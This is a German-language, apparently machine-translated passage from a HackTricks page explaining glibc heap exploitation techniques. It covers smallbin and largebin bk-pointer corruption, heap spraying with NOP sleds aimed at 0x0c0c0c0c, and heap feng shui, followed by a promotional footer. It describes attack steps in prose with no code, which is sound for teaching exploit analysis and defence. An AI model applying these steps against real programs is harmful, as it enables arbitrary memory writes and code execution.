Das Ziel ist es, wenn wir einen Heap überlaufen können, der darunter einen bereits freigegebenen und in seinem Bin befindlichen Abschnitt hat, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieser Abschnitt der erste in der Bin-Liste wird und reserviert wird, wird die Bin getäuscht und glaubt, dass der nächste Abschnitt in der falschen Adresse liegt, die wir angegeben haben (zum Beispiel im Stack oder GOT). Wenn also ein weiterer Abschnitt reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Abschnitt an der gewünschten Position gegeben und er kann dort schreiben.
Nachdem der modifizierte Abschnitt freigegeben wurde, muss ein größerer Abschnitt als der freigegebene reserviert werden, damit der modifizierte Abschnitt aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Sobald er in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf zu ändern, damit er auf die gewünschte Adresse zeigt.
Daher muss die Bin warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und die Bin täuscht, indem sie glaubt, dass der nächste Abschnitt in der falschen Adresse liegt. Dann wird der gewünschte Abschnitt gegeben.
Um die Verwundbarkeit so schnell wie möglich auszunutzen, wäre ideal: Reservierung des verwundbaren Abschnitts, Reservierung des Abschnitts, der geändert wird, Freigabe dieses Abschnitts, Reservierung eines größeren Abschnitts als des zu ändernden, Änderung des Abschnitts (Verwundbarkeit), Reservierung eines Abschnitts gleicher Größe wie der verwundene und Reservierung eines zweiten Abschnitts gleicher Größe, der auf die gewählte Adresse zeigt.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass der Abschnitt "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Abschnitts, der im Stack angezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer in der Lage sein, auf die richtige Weise (wahrscheinlich über den Stack) die Adresse von victim in die richtige Adresse zu schreiben. Damit es wie ein echter Abschnitt aussieht.
Korruption LargeBin
Die gleichen Anforderungen wie zuvor sind erforderlich, und zusätzlich müssen die reservierten Abschnitte größer als 512 sein.
Der Angriff ist wie zuvor, dh der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Abschnitts so geändert werden, dass diese Größe - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned Wert verglichen wird).
Darüber hinaus wurde ein Patch eingeführt, um es noch komplizierter zu machen.
Heap Spraying
Es besteht im Wesentlichen darin, so viel wie möglich Speicher für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
Heap Feng Shui
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Abschnitte zwischen freien Abschnitten verbleiben. Der zu überlaufende Puffer wird in einem der freien Abschnitte platziert.
Interessante Kurse
Referenzen
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.